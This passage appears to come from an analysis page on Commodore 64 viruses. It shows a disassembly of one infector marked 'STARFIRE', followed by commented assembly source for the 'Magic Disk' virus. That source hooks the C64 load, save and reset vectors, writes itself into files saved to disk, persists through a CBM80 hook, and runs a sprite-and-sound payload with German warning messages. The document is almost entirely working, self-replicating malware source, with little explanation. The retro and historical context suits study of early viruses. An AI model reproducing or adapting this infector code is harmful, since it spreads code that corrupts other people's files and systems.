.C:0907  20 DD ED  JSR $EDDD
.C:090a  C8          INY
.C:090b  D0 F7      BNE $0904

.C:090d  A2 0F      LDX #$0F
.C:090f  20 50 F2  JSR $F250
.C:0912  4C 38 09  JMP $0938
```

```
.C:0915 20 BA 08 JSR $08BA
.C:0918 A2 0F LDX #$0F
.C:091a 20 50 F2 JSR $F250
.C:091d A9 31 LDA #$31
.C:091f 8D D2 08 STA $08D2
.C:0922 20 38 09 JSR $0938
.C:0925 A2 08 LDX #$08
.C:0927 20 0E F2 JSR $F20E
.C:092a A0 00 LDY #$00
.C:092c 20 57 F1 JSR $F157
.C:092f 99 00 CF STA $CF00,Y
.C:0932 C8 INY
.C:0933 D0 F7 BNE $092C
.C:0935 4C 33 F3 JMP $F333

.C:0938 A9 D1 LDA #$D1
.C:093a A0 08 LDY #$08
.C:093c 20 1E AB JSR $AB1E
.C:093f A9 00 LDA #$00
.C:0941 A6 FE LDX $FE
.C:0943 20 CD BD JSR $BDCD
.C:0946 A9 2C LDA #$2C
.C:0948 20 CA F1 JSR $F1CA
.C:094b A9 00 LDA #$00
.C:094d A6 FD LDX $FD
.C:094f 20 CD BD JSR $BDCD
.C:0952 4C B5 AB JMP $ABB5

.C:0955 A5 05 LDA $05
.C:0957 8D 00 CE STA $CE00
.C:095a E8 INX
.C:095b 8E 02 CE STX $CE02
.C:095e A9 08 LDA #$08
.C:0960 8D 03 CE STA $CE03
.C:0963 4C AA 08 JMP $08AA
.C:0966 A8 TAY
.C:0967 B9 00 08 LDA $0800,Y
.C:096a 99 00 CD STA $CD00,Y
.C:096d C8 INY
.C:096e D0 F7 BNE $0967

.C:0970 A9 CE LDA #$CE
.C:0972 8D 86 02 STA $0286
.C:0975 8D 31 03 STA $0331
.C:0978 A9 8F LDA #$8F
.C:097a 8D 30 03 STA $0330
.C:097d A9 14 LDA #$14
.C:097f 8D 18 D0 STA $D018
.C:0982 A9 0F LDA #$0F
.C:0984 20 91 F2 JSR $F291
.C:0987 4C 94 E3 JMP $E394
```

```
.C:098a  A2 00      LDX #$00
.C:098c  BD 00 CD    LDA $CD00,X
.C:098f  9D 00 08    STA $0800,X
.C:0992  BD 00 CE    LDA $CE00,X
.C:0995  9D FB 08    STA $08FB,X
.C:0998  E8          INX
.C:0999  D0 F1      BNE $098C

.C:099b  A9 60      LDA #$60
.C:099d  8D 40 08    STA $0840
.C:09a0  20 0D 08    JSR $080D
.C:09a3  A9 AE      LDA #$AE
.C:09a5  8D 40 08    STA $0840
.C:09a8  AE 15 CF    LDX $CF15
.C:09ab  D0 C3      BNE $0970

.C:09ad  BD F8 CE    LDA $CEF8,X
.C:09b0  9D 16 CF    STA $CF16,X
.C:09b3  E8          INX
.C:09b4  E0 08      CPX #$08
.C:09b6  D0 F5      BNE $09AD
.C:09b8  18          CLC
.C:09b9  A9 20      LDA #$20
.C:09bb  6D B3 CE    ADC $CEB3
.C:09be  8D B3 CE    STA $CEB3
.C:09c1  C9 16      CMP #$16
.C:09c3  D0 E6      BNE $09AB
.C:09c5  6C AB CE    JMP ($CEAB)

.C:09c8  AD 12 D0    LDA $D012
.C:09cb  C9 F0      CMP #$F0
.C:09cd  10 03      BPL $09D2
.C:09cf  4C 9B 08    JMP $089B
.C:09d2  A9 AE      LDA #$AE
.C:09d4  A2 A7      LDX #$A7
.C:09d6  8D F3 08    STA $08F3
.C:09d9  8E F4 08    STX $08F4
.C:09dc  6C A1 09    JMP ($09A1)

.C:09df  00          BRK
.C:09e0  00          BRK
.C:09e1  00          BRK
.C:09e2  00          BRK
.C:09e3  00          BRK
.C:09e4  00          BRK
.C:09e5  00          BRK
.C:09e6  00          BRK
.C:09e7  00          BRK
.C:09e8  00          BRK
.C:09e9  00          BRK
.C:09ea  00          BRK
```

```
.C:09eb  00      BRK
.C:09ec  00      BRK
.C:09ed  00      BRK
.C:09ee  00      BRK
.C:09ef  00      BRK
.C:09f0  00      BRK
.C:09f1  00      BRK
.C:09f2  00      BRK

09f3 .byte "S","T","A","R","F","I","R","E"

(infected program follows here)
```

### Analysis: Magic Disk Virus

This analysis is from the original (?) sourcecode i found on the disk with the virus, with some more comments and formatting added.

```
.ba $cbaf

.eq status=$90
.eq savecont=$f624
.eq filelo=$bb
.eq filehi=$bc
.eq fileleng=$b7
.eq setpar=$ffba
.eq setnam=$ffbd
.eq open=$ffc0
.eq close=$ffc3
.eq savecbm=$ffd8
.eq strout=$able
.eq bsout=$ffd2

.eq sid=54272
.eq crsrflag=204
.eq crsrline=214
.eq vic=$d000

.eq frqlo=data-1
.eq frqhi=data-2
.eq countlo=data-3
.eq counthi=data-4
.eq counter=data-5
.eq lengnam=data-6
.eq realend=ende-data+$0801

;*****
; basic stub

data      .by $15,$08,$0a,$00,$9e
```

```
.tx "2071:md-virus!"
.by 0,0,0

;*****
; copy virus code to $cfff0

copyup    lda #$37
          sta $01
          ldx #$01
          ldy #$08
          stx $5f
          sty $60
          ldx #<(realend)
          ldy #>(realend)
          stx $5a
          sty $5b
          ldx #$f0
          ldy #$cf
          stx $58
          sty $59
          jsr $a3bf
          jmp start

;*****
; copy infected program to $0801
; init virus and run program

start     lda #$36
          sta $01

          ldx #01
          ldy #08
          stx lab5+1
          sty lab5+2
          ldx #<(realend)
          ldy #>(realend)
          stx $fb
          sty $fc
          ldx $ae
          ldy $af
          stx $f9
          sty $fa

          ldy #00
          ldx #00
loop8     lda ($fb),y
lab5      sta $0801,x
          inx
          bne lab4
          inc lab5+2
lab4      jsr inccount
```

```
        bcc loop8

        ldy lab5+2
        stx $ae
        sty $af
        stx $2d
        sty $2e

        lda #$37
        sta $01

        jsr init
        jsr $a659
        jmp $a7ae

;*****
; code hooked into cbm80 nmi vector

restore  jsr $fd15
         jsr $fda3
         jsr $e518
         jsr init2
         jmp ($a002)

;*****

save1    jmp save

;*****
; code hooked into cbm80 reset vector

reset    stx $d016
         jsr $fda3
         jsr $fd50
         jsr $fd15
         jsr $ff5b
         cli
         jsr init2
         jmp ($a000)

;*****
; code hooked into load vector

load     pha
         lda filelo
         sta $fb
         lda filehi
         sta $fc
         ldy fileleng
         sty lengnam
loop2    lda ($fb),y
```



```
        sta namebuff+2,y
        dey
        bpl loop2
        pla

        sta $93
        lda #$00
        sta $90
        lda $ba
        bne xf4b2
xf4af   jmp $f713
xf4b2   cmp #$03
        beq xf4af
        bcc xf533

        ldy $b7
        bne xf4bf
xf4bf   jmp $f710
        ldx $b9
        jsr $f5af
        lda #$60
        sta $b9
        jsr $f3d5
        lda $ba
        jsr $ed09
        lda $b9
        jsr $edc7
        jsr $ee13
        sta $ae

        cmp #01
        bne cbmload1

        lda $90
        lsr
        lsr
        bcs loadererror
        jsr $ee13
        sta $af

        cmp #08
        bne cbmload2
        jsr $f4e5
        bcc infctest
        rts
;*****
loadererror jmp $f704
xf533      jmp $f533
cbmload1   jmp $f4da
cbmload2   jmp $f4e5
;*****
```

```
infstest    ldy #17
loop7       lda $0801,y
            cmp data,y
            bne scratch
            dey
            bpl loop7
            jmp ($a002)

scratch     lda #01
            ldx #08
            ldy #15
            jsr setpar
            lda lengnam
            clc
            adc #02
            ldx #<(namebuff)
            ldy #>(namebuff)
            jsr setnam
            jsr open
            lda #01
            jsr close

            ldy lengnam
            lda namebuff+1,y
            cmp #"*"
            bne cont
            dey

cont        tya
            ldx #<(namebuff)+2
            ldy #>(namebuff)
            jsr setnam
            ldx #08
            jsr setpar
            ldx #01
            ldy #08
            stx $c1
            sty $c2
            ldx #00
            jsr save
            jmp saveerror

;*****
; hook i/o vectors and install
; cbm80 hook

init        lda #01
            sta copy
init2       ldy #03
loop3       lda tab,y
            sta $0330,y
```

```

        dey
        bpl loop3

loop4   ldy #08
        lda cbm,y
        sta $8000,y
        dey
        bpl loop4

        rts

;*****
xf659   jmp $f659
copy    .by 0
;*****
saveerror lda status
        bne shit
        rts
shit    lda #<(errortext)
        ldy #>(errortext)
        jmp strout

;*****
; code hooked into save vector

save    lda $ba
        bne xf5f4
xf5f1   jmp $f713
xf5f4   cmp #$03
        beq xf5f1
        bcc xf659

        lda #$61
        sta $b9
        ldy $b7
        bne xf605
        jmp $f710
xf605   cpx #00
        beq nosaving
        jsr $f68f
nosaving jsr $f3d5
        lda $ba
        jsr $ed0c
        lda $b9
        jsr $edb9
        ldy #$00
        jsr $fb8e
        lda $ac
        cmp #01
        beq lab1
        ldy #01

```

```
lab1      jsr $eddd
          lda $ad
          cmp #08
          beq lab2
          ldy #01
lab2      jsr $eddd

          cpy #01
          bne virusok
          ldy #00
          jmp savecont

virusok   lda #<(data)
          sta $fb
          lda #>(data)
          sta $fc
          lda #<(ende)
          sta $f9
          lda #>(ende)
          sta $fa

loop      ldy #00
          lda ($fb),y
          jsr $eddd
          jsr inccount
          bcc loop

          jsr savecont
          jsr saveerror

          asl copy
          bcs gag
          rts

;*****
; payload code

gag       ldx #00
          stx crsrflag
          stx $d020
          stx $d021
          stx countlo
          inx
          stx 646
          stx vic+21

; {$a0}   lda #12
          sta vic+39
          lda #24
          sta vic
          lda #27
```

```

        sta vic+1
        lda #13
        sta 2040

        ldy #12
        lda #00
sloop4  sta 832,y
        dey
        bpl sloop4

        ldy #50
sloop3  lda sprdat,y
        sta 845,y
        dey
        bpl sloop3

        lda #13
        jsr bsout
        lda #32
        jsr bsout
;*****
calc    lda crsrline
        clc
        adc #03
        lsr
        ror countlo
        clc
        adc #060
        sta counthi
;*****
sound   lda #15
        sta sid+24
        sta counter
        ldx #01
        ldy #078
        stx sid
        sty sid+1
        stx frqlo
        sty frqhi
        ldx #0e0
        ldy #0f0
        stx sid+5
        sty sid+6
        lda #33
        sta sid+4

sloop2  ldy #01
        jsr wait
        dec frqlo
        bne sl1
        dec frqhi

```

```
sl1      lda counthi
         cmp frqhi
         bcc sl5
         bne sl6
         lda countlo
         cmp frqlo
         bcc sl5
sl6      dec counter
         bpl sl5
         inc vic+1
         lda #15
         sta counter

sl5      lda frqhi
         cmp #$60
         beq bye
         sta sid+1
         lda frqlo
         sta sid
         jmp sloop2

bye      sty sid+4
         sty sid+24
         lda #"{CBM-P}"
         jsr bsout
         sta crsrflag
         ldy #$ff
         jsr wait
         sty vic+21
         lda #<(warning)
         ldy #>(warning)
         jsr strout
         jmp init
;*****
wait     ldx #00
sloop1  dex
         bne sloop1
         dey
         bne sloop1
         rts
;*****
inccount inc $fb
         bne lab3
         inc $fc
lab3    lda $fb
         cmp $f9
         bne weiter
         lda $fc
         cmp $fa
         bne weiter
         sec
```

```
        rts

weiter   clc
        rts
;*****
sprdat   .by 124,0,0,198,0,0,198,0,0,108,0,31,255,248
        .by 31,177,248,31,183,248,63,177,252,63,181,252,63,177,252,63,255,252,113
        .by 22,142,123,82,190,123,84,142,251,84,239,251,22,143,255,255,255,255

;*****
; data for cbm80 hook
cbm       .wo reset,restore
        .tx "CBM80"

; vectors for i/o hooks
tab       .wo load,save

errortext .by 13
        .tx "Der {rvon}MagicDisk-Virus{rvof} ist in diesem"
        .by13
        .tx "C64 !!! Soeben wurden Daten zerstoert !"
        .by13
        .tx "Bitte Programm auf einer anderen Disk"
        .by13
        .tx "abspeichern !!!"
        .by 13,14,0

;*****
warning   .by 13
        .tx "Hallo du ! Dein 64er lebt ! Ein paar von"
        .by13
        .tx "deinen Disketten wurden infiziert mit"
        .by13
        .tx "dem {rvon}MagicDisk-Virus{rvof}..."
        .by 13,14,0

;*****
namebuff  .tx "s:"
ende      .by 0
```

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